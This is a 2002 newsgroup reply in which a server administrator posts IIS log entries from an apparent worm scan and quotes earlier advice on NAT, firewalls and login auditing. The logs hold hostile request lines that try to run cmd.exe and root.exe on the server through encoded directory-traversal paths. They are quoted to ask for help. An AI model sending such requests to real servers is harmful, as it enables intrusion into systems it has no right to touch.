Re: Security Questions

From: Evan Camilleri (evan.nospam@holistic.com.mt)
Date: 09/03/02


From: "Evan Camilleri" <evan.nospam@holistic.com.mt>
Date: Tue, 3 Sep 2002 11:11:35 +0200


What's worrying me are the following log entries! (i changed my ip)

2002-09-02 03:37:15 61.144.250.81 - xxx.56.149.243 80 GET /scripts/root.exe
/c+dir 404 -

2002-09-02 03:37:17 61.144.250.81 - xxx.56.149.243 80 GET /MSADC/root.exe
/c+dir 403 -

2002-09-02 03:37:19 61.144.250.81 - xxx.56.149.243 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:21 61.144.250.81 - xxx.56.149.243 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:23 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:24 61.144.250.81 - xxx.56.149.243 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:25 61.144.250.81 - xxx.56.149.243 80 GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:30 61.144.250.81 - xxx.56.149.243 80 GET
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe
/c+dir 403 -

2002-09-02 03:37:33 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:34 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:36 61.144.250.81 - xxx.56.149.243 80 GET
/winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:38 61.144.250.81 - xxx.56.149.243 80 GET
/winnt/system32/cmd.exe /c+dir 404 -

2002-09-02 03:37:39 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:41 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:42 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -

2002-09-02 03:37:44 61.144.250.81 - xxx.56.149.243 80 GET
/scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -

<jcochran at naplesgov dot com (Jeff Cochran)> wrote in message
news:3d787d9c.2466236@news.supernews.com...
> >My network uses NAT. What are my security loopholes?
>
> Most of the same as without NAT. :)
>
> Many attacks don't care what your IP address is, only whether or not
> they can get to a particular servcie you're running. If you have a
> web server, even NAT'd, running on port 80, then any http based attack
> can hit it.
>
> >How can I check if
> >there is a possible attack?
>
> Okay, I'll be a smartass. Check your firewall logs. Since you don't
> have any, you need to check the logs you do have, such as the event
> viewer security log, where you'll see attempts at logging in, since
> you of course are auditing failed logins.
>
> >Can I know who is accessing my system, and what
> >is being accessed?
>
> Maybe. Maybe not.
>
> >How can I disable access to my network for an ip or range of ip?
>
> Easiest way is using your firewall. Otherwise, take a look at the
> Advanced settings on your TCP/IP setup.
>
> Jeff



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